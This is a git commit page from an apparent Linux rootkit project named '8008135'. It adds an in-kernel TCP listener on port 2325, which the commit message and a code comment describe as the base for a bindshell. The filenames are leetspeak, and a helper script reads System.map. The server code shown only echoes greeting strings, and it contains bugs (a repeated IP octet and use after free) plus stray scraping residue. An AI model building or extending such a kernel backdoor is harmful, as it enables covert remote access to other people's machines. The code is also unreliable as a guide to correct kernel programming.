Adding a Socket Server to the Linux Kernel Module
Gone a long way from trying to implement a socket bindshell using the standard C-Libraries (which obv. doesn't work in LKM!), then implementing an ASM-Solution only to find out there are problems with the x86/x32 bit and knowing that I have no clue of how to write ASM, I thought of looking into sockets on linux kernel modules - AAAND found one. So the files: * src/50ck3t.c * src/headers/50ck3t.h are basically from https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git Thanks for sharing! There will prob. be some additions and modifications. Makefile: * Some Stuff had to be renamed in the Makefile due to Renaming src/create_sysgen.sh -> src/cr3473_5y563n.sh & Added src/headers/50ck3t.h, src/50ck3t.c Including src/headers/50ck3t.h in 8008135.c Changing Module License to GPL, somehow GPLv3 was a problem to the compiler because of do_exitmerge-requests/2/head
parent
062fdebeae
commit
28c4025758
@ -0,0 +1,558 @@
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/*
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*
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* NOTE:
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* this is basically this guys code:
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* https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
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* his last update was 4 years ago, so there might be some changes,
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* there definitely will be some regarding the data received/sent back since
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* this is will be used as a bindshell
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* but base is his work.
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*
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*/
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "50ck3t.h"
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/**** types *******************************************************************
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*******************************************************************************/
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struct tcp_conn_handler_data{
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struct sockaddr_in *address;
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struct socket *accept_socket;
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int thread_id;
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};
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struct tcp_conn_handler{
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struct tcp_conn_handler_data *data[MAX_CONNS];
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struct task_struct *thread[MAX_CONNS];
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int tcp_conn_handler_stopped[MAX_CONNS];
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};
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struct tcp_conn_handler *tcp_conn_handler;
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struct tcp_server_service{
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int running;
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struct socket *listen_socket;
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struct task_struct *thread;
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struct task_struct *accept_thread;
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};
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struct tcp_server_service *tcp_server;
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/**** var **********************************************************************
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*******************************************************************************/
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int tcp_listener_stopped = 0;
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int tcp_acceptor_stopped = 0;
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char *inet_ntoa(struct in_addr *in){
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char *str_ip = NULL;
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u_int32_t int_ip = 0;
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str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL);
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if(!str_ip)
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return NULL;
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else
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memset(str_ip, 0, 16);
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int_ip = in->s_addr;
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sprintf(str_ip, "%d.%d.%d.%d", (int_ip) & 0xFF, (int_ip >> 8) & 0xFF,
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(int_ip >> 16) & 0xFF, (int_ip >> 16) & 0xFF);
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return str_ip;
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}
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int tcp_server_send(struct socket *sock, int id, const char *buf,\
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const size_t length, unsigned long flags){
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struct msghdr msg;
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struct kvec vec;
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int len, written = 0, left =length;
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mm_segment_t oldmm;
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msg.msg_name = 0;
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msg.msg_namelen = 0;
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msg.msg_control = NULL;
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msg.msg_controllen = 0;
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msg.msg_flags = flags;
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msg.msg_flags = 0;
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oldmm = get_fs(); set_fs(KERNEL_DS);
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repeat_send:
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vec.iov_len = left;
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vec.iov_base = (char *)buf + written;
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len = kernel_sendmsg(sock, &msg, &vec, left, left);
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if((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&\
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(len == -EAGAIN)))
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goto repeat_send;
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if(len > 0){
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written += len;
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left -= len;
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if(left)
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goto repeat_send;
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}
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set_fs(oldmm);
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return written?written:len;
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}
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int tcp_server_receive(struct socket *sock, int id,struct sockaddr_in *address,\
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unsigned char *buf,int size, unsigned long flags){
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struct msghdr msg;
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struct kvec vec;
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int len;
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char *tmp = NULL;
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if(sock==NULL){
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pr_info(" *** mtp | tcp server receive socket is NULL| "
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" tcp_server_receive *** \n");
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return -1;
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}
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msg.msg_name = 0;
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msg.msg_namelen = 0;
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msg.msg_control = NULL;
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msg.msg_controllen = 0;
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msg.msg_flags = flags;
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vec.iov_len = size;
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vec.iov_base = buf;
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read_again:
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if(!skb_queue_empty(&sock->sk->sk_receive_queue))
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pr_info("recv queue empty ? %s \n",
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skb_queue_empty(&sock->sk->sk_receive_queue)?"yes":"no");
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len = kernel_recvmsg(sock, &msg, &vec, size, size, flags);
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if(len == -EAGAIN || len == -ERESTARTSYS)
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goto read_again;
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tmp = inet_ntoa(&(address->sin_addr));
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pr_info("client-> %s:%d, says: %s\n", tmp, ntohs(address->sin_port), buf);
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kfree(tmp);
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//len = msg.msg_iter.kvec->iov_len;
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return len;
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}
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int connection_handler(void *data){
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struct tcp_conn_handler_data *conn_data =
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(struct tcp_conn_handler_data *)data;
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struct sockaddr_in *address = conn_data->address;
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struct socket *accept_socket = conn_data->accept_socket;
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int id = conn_data->thread_id;
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int ret;
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int len = 49;
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unsigned char in_buf[len+1];
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unsigned char out_buf[len+1];
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DECLARE_WAITQUEUE(recv_wait, current);
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allow_signal(SIGKILL|SIGSTOP);
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while(1){
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add_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait);
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while(skb_queue_empty(&accept_socket->sk->sk_receive_queue)){
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__set_current_state(TASK_INTERRUPTIBLE);
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schedule_timeout(HZ);
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if(kthread_should_stop()){
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pr_info(" *** mtp | tcp server handle connection "
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"thread stopped | connection_handler *** \n");
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//tcp_conn_handler->thread[id] = NULL;
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tcp_conn_handler->tcp_conn_handler_stopped[id]= 1;
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&accept_socket->sk->sk_wq->wait,\
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&recv_wait);
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kfree(tcp_conn_handler->data[id]->address);
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kfree(tcp_conn_handler->data[id]);
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sock_release(tcp_conn_handler->data[id]->accept_socket);
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return 0;
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}
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if(signal_pending(current)){
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&accept_socket->sk->sk_wq->wait,\
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&recv_wait);
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goto out;
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}
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}
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait);
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pr_info("receiving message\n");
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memset(in_buf, 0, len+1);
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ret = tcp_server_receive(accept_socket, id, address, in_buf, len,\
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MSG_DONTWAIT);
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if(ret > 0){
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if(memcmp(in_buf, "HOLA", 4) == 0){
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memset(out_buf, 0, len+1);
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strcat(out_buf, "HOLASI");
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pr_info("sending response: %s\n", out_buf);
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tcp_server_send(accept_socket, id, out_buf,\
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strlen(out_buf), MSG_DONTWAIT);
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}
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/*
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tmp = inet_ntoa(&(address->sin_addr));
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pr_info("connection handler: %d of: %s %d done sending "
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" HOLASI\n", id, tmp, ntohs(address->sin_port));
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kfree(tmp);
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*/
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if(memcmp(in_buf, "ADIOS", 5) == 0){
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memset(out_buf, 0, len+1);
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strcat(out_buf, "ADIOSAMIGO");
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pr_info("sending response: %s\n", out_buf);
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tcp_server_send(accept_socket, id, out_buf,\
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strlen(out_buf), MSG_DONTWAIT);
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break;
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}
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}
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}
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out:
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/*
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tmp = inet_ntoa(&(address->sin_addr));
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pr_info("connection handler: %d of: %s %d exiting normally\n",
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id, tmp, ntohs(address->sin_port));
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kfree(tmp);
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*/
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tcp_conn_handler->tcp_conn_handler_stopped[id]= 1;
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kfree(tcp_conn_handler->data[id]->address);
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kfree(tcp_conn_handler->data[id]);
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sock_release(tcp_conn_handler->data[id]->accept_socket);
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//spin_lock(&tcp_server_lock);
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tcp_conn_handler->thread[id] = NULL;
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//spin_unlock(&tcp_server_lock);
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//return 0;
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do_exit(0);
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}
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int tcp_server_accept(void){
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int accept_err = 0;
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struct socket *socket;
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struct socket *accept_socket = NULL;
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struct inet_connection_sock *isock;
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int id = 0;
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DECLARE_WAITQUEUE(accept_wait, current);
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allow_signal(SIGKILL|SIGSTOP);
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socket = tcp_server->listen_socket;
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pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
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"*** \n");
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while(1){
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struct tcp_conn_handler_data *data = NULL;
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struct sockaddr_in *client = NULL;
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char *tmp;
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int addr_len;
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accept_err =
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sock_create(socket->sk->sk_family, socket->type,\
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socket->sk->sk_protocol, &accept_socket);
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if(accept_err < 0 || !accept_socket){
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pr_info(" *** mtp | accept_error: %d while creating "
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"tcp server accept socket | "
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"tcp_server_accept *** \n", accept_err);
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goto err;
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}
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accept_socket->type = socket->type;
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accept_socket->ops = socket->ops;
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isock = inet_csk(socket->sk);
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add_wait_queue(&socket->sk->sk_wq->wait, &accept_wait);
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while(reqsk_queue_empty(&isock->icsk_accept_queue)){
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__set_current_state(TASK_INTERRUPTIBLE);
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schedule_timeout(HZ);
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if(kthread_should_stop()){
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pr_info(" *** mtp | tcp server acceptor thread "
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"stopped | tcp_server_accept *** \n");
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tcp_acceptor_stopped = 1;
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&socket->sk->sk_wq->wait,\
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&accept_wait);
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sock_release(accept_socket);
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return 0;
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}
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if(signal_pending(current)){
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&socket->sk->sk_wq->wait,\
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&accept_wait);
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goto release;
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}
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}
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__set_current_state(TASK_RUNNING);
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remove_wait_queue(&socket->sk->sk_wq->wait, &accept_wait);
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pr_info("accept connection\n");
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accept_err =
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socket->ops->accept(socket, accept_socket, O_NONBLOCK);
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if(accept_err < 0){
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pr_info(" *** mtp | accept_error: %d while accepting "
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"tcp server | tcp_server_accept *** \n",
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accept_err);
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goto release;
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}
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client = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
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memset(client, 0, sizeof(struct sockaddr_in));
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addr_len = sizeof(struct sockaddr_in);
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accept_err =
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accept_socket->ops->getname(accept_socket,\
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(struct sockaddr *)client,\
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&addr_len, 2);
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if(accept_err < 0){
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pr_info(" *** mtp | accept_error: %d in getname "
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"tcp server | tcp_server_accept *** \n",
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accept_err);
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goto release;
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}
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tmp = inet_ntoa(&(client->sin_addr));
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pr_info("connection from: %s %d \n",
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tmp, ntohs(client->sin_port));
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kfree(tmp);
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pr_info("handle connection\n");
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for(id = 0; id < MAX_CONNS; id++){
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if(tcp_conn_handler->thread[id] == NULL)
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break;
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}
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pr_info("gave free id: %d\n", id);
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if(id == MAX_CONNS)
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goto release;
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data = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
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memset(data, 0, sizeof(struct tcp_conn_handler_data));
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data->address = client;
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data->accept_socket = accept_socket;
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data->thread_id = id;
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tcp_conn_handler->tcp_conn_handler_stopped[id] = 0;
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tcp_conn_handler->data[id] = data;
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tcp_conn_handler->thread[id] =
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kthread_run((void *)connection_handler, (void *)data, MODULE_NAME);
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|
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if(kthread_should_stop()){
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pr_info(" *** mtp | tcp server acceptor thread stopped"
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" | tcp_server_accept *** \n");
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tcp_acceptor_stopped = 1;
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return 0;
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}
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|
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if(signal_pending(current)){
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break;
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}
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|
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}
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|
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|
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tcp_acceptor_stopped = 1;
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do_exit(0);
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release:
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sock_release(accept_socket);
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err:
|
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tcp_acceptor_stopped = 1;
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do_exit(0);
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}
|
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|
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int tcp_server_listen(void)
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{
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int server_err;
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struct socket *conn_socket;
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struct sockaddr_in server;
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||||
|
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DECLARE_WAIT_QUEUE_HEAD(wq);
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|
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allow_signal(SIGKILL|SIGTERM);
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|
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server_err = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
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&tcp_server->listen_socket);
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if(server_err < 0){
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pr_info(" *** mtp | Error: %d while creating tcp server "
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"listen socket | tcp_server_listen *** \n", server_err);
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goto err;
|
||||
}
|
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|
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conn_socket = tcp_server->listen_socket;
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tcp_server->listen_socket->sk->sk_reuse = 1;
|
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|
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server.sin_addr.s_addr = INADDR_ANY;
|
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server.sin_family = AF_INET;
|
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server.sin_port = htons(DEFAULT_PORT);
|
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|
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server_err =
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conn_socket->ops->bind(conn_socket, (struct sockaddr*)&server,\
|
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sizeof(server));
|
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|
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if(server_err < 0){
|
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pr_info(" *** mtp | Error: %d while binding tcp server "
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"listen socket | tcp_server_listen *** \n", server_err);
|
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goto release;
|
||||
}
|
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|
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server_err = conn_socket->ops->listen(conn_socket, 16);
|
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|
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if(server_err < 0){
|
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pr_info(" *** mtp | Error: %d while listening in tcp "
|
||||
"server listen socket | tcp_server_listen "
|
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"*** \n", server_err);
|
||||
goto release;
|
||||
}
|
||||
|
||||
tcp_server->accept_thread =
|
||||
kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
|
||||
|
||||
while(1){
|
||||
wait_event_timeout(wq, 0, 3*HZ);
|
||||
|
||||
if(kthread_should_stop()){
|
||||
pr_info(" *** mtp | tcp server listening thread"
|
||||
" stopped | tcp_server_listen *** \n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(signal_pending(current))
|
||||
goto release;
|
||||
}
|
||||
|
||||
|
||||
sock_release(conn_socket);
|
||||
tcp_listener_stopped = 1;
|
||||
do_exit(0);
|
||||
release:
|
||||
sock_release(conn_socket);
|
||||
err:
|
||||
tcp_listener_stopped = 1;
|
||||
do_exit(0);
|
||||
}
|
||||
|
||||
int tcp_server_start(void){
|
||||
tcp_server->running = 1;
|
||||
tcp_server->thread = kthread_run((void *)tcp_server_listen, NULL,\
|
||||
MODULE_NAME);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int network_server_init(void){
|
||||
pr_info(" *** mtp | network_server initiated | "
|
||||
"network_server_init ***\n");
|
||||
tcp_server = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
|
||||
memset(tcp_server, 0, sizeof(struct tcp_server_service));
|
||||
|
||||
tcp_conn_handler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
|
||||
memset(tcp_conn_handler, 0, sizeof(struct tcp_conn_handler));
|
||||
|
||||
tcp_server_start();
|
||||
return 0;
|
||||
}
|
||||
|
||||
void network_server_exit(void){
|
||||
int ret;
|
||||
int id;
|
||||
|
||||
if(tcp_server->thread == NULL)
|
||||
pr_info(" *** mtp | No kernel thread to kill | "
|
||||
"network_server_exit *** \n");
|
||||
else
|
||||
{
|
||||
for(id = 0; id < MAX_CONNS; id++)
|
||||
{
|
||||
if(tcp_conn_handler->thread[id] != NULL)
|
||||
{
|
||||
|
||||
if(!tcp_conn_handler->tcp_conn_handler_stopped[id])
|
||||
{
|
||||
ret =
|
||||
kthread_stop(tcp_conn_handler->thread[id]);
|
||||
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server "
|
||||
"connection handler thread: %d "
|
||||
"stopped | network_server_exit "
|
||||
"*** \n", id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(!tcp_acceptor_stopped)
|
||||
{
|
||||
ret = kthread_stop(tcp_server->accept_thread);
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server acceptor thread"
|
||||
" stopped | network_server_exit *** \n");
|
||||
}
|
||||
|
||||
if(!tcp_listener_stopped)
|
||||
{
|
||||
ret = kthread_stop(tcp_server->thread);
|
||||
if(!ret)
|
||||
pr_info(" *** mtp | tcp server listening thread"
|
||||
" stopped | network_server_exit *** \n");
|
||||
}
|
||||
|
||||
|
||||
if(tcp_server->listen_socket != NULL && !tcp_listener_stopped)
|
||||
{
|
||||
sock_release(tcp_server->listen_socket);
|
||||
tcp_server->listen_socket = NULL;
|
||||
}
|
||||
|
||||
kfree(tcp_conn_handler);
|
||||
kfree(tcp_server);
|
||||
tcp_server = NULL;
|
||||
}
|
||||
|
||||
}
|
||||
@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env bash
|
||||
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
||||
SRCS_H="$SCRIPTPATH""/headers"
|
||||
SGENH="$SRCS_H""/sysgen.h"
|
||||
SGENH="$SRCS_H""/5y563n.h"
|
||||
|
||||
smap="/boot/System.map-$(uname -r)"
|
||||
|
||||
@ -0,0 +1,50 @@
|
||||
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
|
||||
/*
|
||||
* main.c
|
||||
* Copyright (C) 2019
|
||||
*
|
||||
* 8008135 is free software: you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* 8008135 is distributed in the hope that it will be useful, but
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef SRC_HEADERS_50CK3T_H_
|
||||
#define SRC_HEADERS_50CK3T_H_
|
||||
|
||||
/**** includes *****************************************************************
|
||||
*******************************************************************************/
|
||||
#include <linux/init.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/kthread.h>
|
||||
|
||||
#include <linux/errno.h>
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <linux/netdevice.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/in.h>
|
||||
|
||||
#include <linux/unistd.h>
|
||||
#include <linux/wait.h>
|
||||
|
||||
#include <net/sock.h>
|
||||
#include <net/tcp.h>
|
||||
#include <net/inet_connection_sock.h>
|
||||
#include <net/request_sock.h>
|
||||
|
||||
#define DEFAULT_PORT 2325
|
||||
#define MAX_CONNS 16
|
||||
#define MODULE_NAME "8008135"
|
||||
|
||||
int network_server_init(void);
|
||||
void network_server_exit(void);
|
||||
|
||||
#endif /* SRC_HEADERS_50CK3T_H_ */
|
||||
Loading…
Reference in New Issue